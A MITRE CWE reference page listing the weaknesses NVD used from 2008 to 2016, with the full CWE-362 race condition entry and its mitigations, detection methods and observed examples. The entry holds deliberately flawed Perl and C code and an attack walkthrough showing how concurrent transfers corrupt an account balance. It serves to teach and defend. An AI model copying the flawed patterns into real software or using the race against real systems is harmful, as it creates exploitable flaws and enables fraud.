CWE

Common Weakness Enumeration

A community-developed list of SW & HW weaknesses that can become vulnerabilities

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Home > CWE List > VIEW SLICE: CWE-635: Weaknesses Originally Used by NVD from 2008 to 2016 (4.15)  
ID

CWE VIEW: Weaknesses Originally Used by NVD from 2008 to 2016

View ID: 635
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
Type: Explicit
Downloads: Booklet | CSV | XML
+ Objective
CWE nodes in this view (slice) were used by NIST to categorize vulnerabilities within NVD, from 2008 to 2016. This original version has been used by many other projects.
+ Membership
NatureTypeIDName
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.16Configuration
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.59Improper Link Resolution Before File Access ('Link Following')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.94Improper Control of Generation of Code ('Code Injection')
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.134Use of Externally-Controlled Format String
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.189Numeric Errors
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.264Permissions, Privileges, and Access Controls
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
HasMemberCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.352Cross-Site Request Forgery (CSRF)
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: View

Rationale:

This entry is a View. Views are not weaknesses and therefore inappropriate to describe the root causes of vulnerabilities.

Comments:

Use this View or other Views to search and navigate for the appropriate weakness.
+ Notes

Maintenance

In Summer 2007, NIST began using this set of CWE elements to classify CVE entries within the National Vulnerability Database (NVD). The data was made publicly available beginning in 2008. In 2016, NIST began using a different list as derived from the "Weaknesses for Simplified Mapping of Published Vulnerabilities" view (CWE-1003).

+ References
[REF-1] NIST. "CWE - Common Weakness Enumeration". <http://nvd.nist.gov/cwe.cfm>.
+ View Metrics
CWEs in this viewTotal CWEs
Weaknesses13out of 939
Categories6out of 374
Views0out of 50
Total19out of1363
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-10-01
(CWE Draft 7, 2007-10-01)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, References, View_Structure
2017-01-19CWE Content TeamMITRE
updated Description, Maintenance_Notes
2017-11-08CWE Content TeamMITRE
updated Description, Maintenance_Notes, Name
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2017-11-08Weaknesses Used by NVD

View Components

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
+ Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

  • Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
  • Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Instability

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the product(s) into unexpected states, possibly resulting in a crash.
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Read Application Data

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).
+ Potential Mitigations

Phase: Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Phase: Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Phase: Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Phase: Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Phase: Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Phase: Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Phase: Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Phase: Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Phase: Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.364Signal Handler Race Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.366Race Condition within a Thread
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.367Time-of-check Time-of-use (TOCTOU) Race Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.368Context Switching Race Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.421Race Condition During Access to Alternate Channel
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.689Permission Race Condition During Resource Copy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1223Race Condition for Write-Once Attributes
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1298Hardware Logic Contains Race Conditions
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.416Use After Free
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.476NULL Pointer Dereference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.367Time-of-check Time-of-use (TOCTOU) Race Condition
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Java (Sometimes Prevalent)

Technologies

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

(bad code)
Example Language: Perl 
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();

if ($transfer_amount < 0) {
FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the balance is initially 100.00. An attack could be constructed as follows:

(attack code)
Example Language: Other 
In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().


Example 2

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)
Example Language:
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}

Example 3

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.


+ Observed Examples
ReferenceDescription
Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition.
Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.
Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys
Chain: race condition (CWE-362) in anti-malware product allows deletion of files by creating a junction (CWE-1386) and using hard links during the time window in which a temporary file is created and deleted.
TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed
Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237].
Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
Race condition during initialization triggers a buffer overflow.
Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
chain: race condition triggers NULL pointer dereference
Race condition in library function could cause data to be sent to the wrong process.
Race condition in file parser leads to heap corruption.
chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
chain: race condition for an argument value, possibly resulting in NULL dereference
chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).
+ Detection Methods

Black Box

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Effectiveness: Moderate

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Fuzz Tester
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.852The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.882CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.988SFP Secondary Cluster: Race Condition Window
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1142SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1365ICS Communications: Unreliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1376ICS Engineering (Construction/Deployment): Security Gaps in Commissioning
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Research Gap

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Research Gap

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

Research Gap

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.

Maintenance

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERRace Conditions
The CERT Oracle Secure Coding Standard for Java (2011)VNA03-JDo not assume that a group of calls to independently atomic methods is atomic
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
[REF-349] Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01. <https://drdobbs.com/cpp/volatile-the-multithreaded-programmers-b/184403766>. URL validated: 2023-04-07.
[REF-350] Steven Devijver. "Thread-safe webapps using Spring". <https://web.archive.org/web/20170609174845/http://www.javalobby.org/articles/thread-safe/index.jsp>. URL validated: 2023-04-07.
[REF-351] David Wheeler. "Prevent race conditions". 2007-10-04. <https://www.ida.liu.se/~TDDC90/literature/papers/SP-race-conditions.pdf>. URL validated: 2023-04-07.
[REF-352] Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". 1995-09. <https://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/ucd-ecs-95-08.pdf>. URL validated: 2023-04-07.
[REF-353] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03. <https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html>. URL validated: 2023-04-07.
[REF-354] Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002-04. <https://www.blakewatts.com/blog/discovering-and-exploiting-named-pipe-security-flaws-for-fun-and-profit>. URL validated: 2023-04-07.
[REF-355] Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications". <http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf>.
[REF-356] "Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection. <https://web.archive.org/web/20081010155022/http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html>. URL validated: 2023-04-07.
[REF-357] Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security Institute. 2010-03-26. <https://web.archive.org/web/20100530231203/http://blogs.sans.org:80/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-1237] CERT Coordination Center. "Intel BIOS locking mechanism contains race condition that enables write protection bypass". 2015-01-05. <https://www.kb.cert.org/vuls/id/766164/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2010-04-30Martin SeborCisco Systems, Inc.
Provided Demonstrative Example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships, Research_Gaps
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
